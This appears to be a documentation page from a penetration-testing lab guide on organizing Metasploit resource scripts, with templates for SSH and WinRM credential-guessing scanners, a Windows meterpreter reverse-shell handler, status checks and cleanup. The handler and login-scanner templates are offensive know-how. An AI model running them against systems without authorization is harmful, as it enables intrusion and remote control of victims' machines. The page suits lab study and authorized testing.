Resource Scripts
Put repeatable connection setup in .rc files and load them with resource or msfconsole -r. Keep credentials and temporary session IDs out of the scripts themselves.
File locations
Section titled “File locations”~/lab/msf/rc/├── ssh_login.prompt.rc├── winrm_login.prompt.rc├── handler_windows_meterpreter_reverse.rc├── handler_windows_meterpreter_bind.rc├── handler_windows_shell_bind.rc├── shell_to_meterpreter.rc├── status.rc└── cleanup.rcrc/: Repeatable connection setup, tracked in Git.profiles/*.local.rc: Per-targetsetgvalues, not tracked in Git.
Loading scripts
Section titled “Loading scripts”Load a profile when starting msfconsole.
msfconsole -q -r ~/lab/msf/profiles/target.local.rcIn an already running msfconsole, load only the scripts you need.
resource ~/lab/msf/rc/status.rcresource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rcIn this pattern, the .rc file selects the module and credentials are passed as runtime arguments.
resource ~/lab/msf/rc/ssh_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -lWrite the .rc itself across readable lines. Only the pasted example is a single line.
Example templates
Section titled “Example templates”SSH login setup
Section titled “SSH login setup”rc/ssh_login.prompt.rc:
use auxiliary/scanner/ssh/ssh_loginset STOP_ON_SUCCESS trueset CreateSession trueshow optionsWinRM login setup
Section titled “WinRM login setup”rc/winrm_login.prompt.rc:
use auxiliary/scanner/winrm/winrm_loginset RPORT 5985set DOMAIN .set CreateSession trueshow optionsMeterpreter handler for reverse connections
Section titled “Meterpreter handler for reverse connections”rc/handler_windows_meterpreter_reverse.rc:
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset ExitOnSession falserun -jsessions -lLHOST and LPORT are expected to come from setg in the profile. Override them at runtime if needed.
resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc# Oruse exploit/multi/handler; run -j verbose=true payload=windows/x64/meterpreter/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=falseStatus checks and cleanup
Section titled “Status checks and cleanup”rc/status.rc:
db_statusworkspacesessions -ljobs -lroute printhostsservicescredslootrc/cleanup.rc (check its effects before running):
jobs -ljobs -Kroute flushspool offjobs -K stops all background jobs.
Operational tips
Section titled “Operational tips”- Keep each
.rclimited to connection setup. Decide on enumeration and destructive actions one step at a time. - Do not put passwords, key files, or ticket paths in either profiles or
.rcfiles. - Session IDs change each time. Check
sessions -lbefore passing one; do not hardcode it in a script. - Bundled reference examples are under
packages/metasploit-framework/scripts/resource/. Keep test-environment templates short. - If you enter the same operation repeatedly, put it in an
.rcfirst, then consider an alias or external notes.

